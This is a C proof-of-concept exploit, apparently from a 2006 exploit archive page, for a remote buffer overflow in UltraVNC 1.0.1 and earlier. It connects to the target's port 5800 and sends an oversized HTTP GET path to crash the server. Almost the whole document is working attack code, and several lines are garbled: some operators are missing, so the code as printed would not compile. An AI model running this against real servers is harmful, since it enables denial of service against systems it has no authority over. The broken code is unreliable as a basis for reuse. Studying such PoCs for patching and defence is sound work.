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Ultr@VNC <= 1.0.1 VNCLog::ReallyPrint Remote Buffer Overflow PoC


http://www.gipsky.com/
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}

#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#endif



#define VER "0.1"
#define PORT 5800
#define BOFSZ 1024



int create_rand_string(u_char *data, int len, u_int *seed);
u_int resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
struct sockaddr_in peer;
u_int seed;
int sd,
i,
len;
u_short port = PORT;
u_char buff[4096];

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"Ultr@VNC <= 1.0.1 VNCLog::ReallyPrint bug "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n"
"Note: although the bug is a buffer-overflow, I have found only a limited way\n"
" (something like an off-by-one) to exploit it versus the server\n"
" Note also that in some cases (for example where it has not been\n"
" configured yet or the logging function has been never enabled) the server\n"
" will not crash\n"
"\n", argv[0], port);
exit(1);
}

seed = time(NULL);

if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();

printf("- connect...");
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
printf(" done\n");

len = sprintf(buff, "GET /");
len = create_rand_string(buff len, BOFSZ, &seed);
len = sprintf(buff len, " \r\n\r\n");

printf("- send BOF HTTP request\n");
if(send(sd, buff, len, 0)
< 0) std_err();

printf("- wait some seconds\n");
for(i = 3; i >= 0; i--) {
printf("=\r", i);
sleep(ONESEC);
}

close(sd);
printf("- finished, check it manually\n");
return(0);
}



int create_rand_string(u_char *data, int len, u_int *seed) {
u_int rnd;
u_char *p = data;
const static u_char table[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";

rnd = *seed;

while(len--) {
rnd = (rnd * 0x343FD) 0x269EC3;
rnd >>= 3;
*p = table[rnd % (sizeof(table) - 1)];
}
*p = 0;

*seed = rnd;
return(p - data);
}



u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}



#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

[2006-04-04]
<< Libxine <= 1.14 MPEG Stream Buffer Overflow Vulnerability PoC Ultr@VNC <= 1.0.1 client Log::ReallyPrint Buffer Overflow PoC >>
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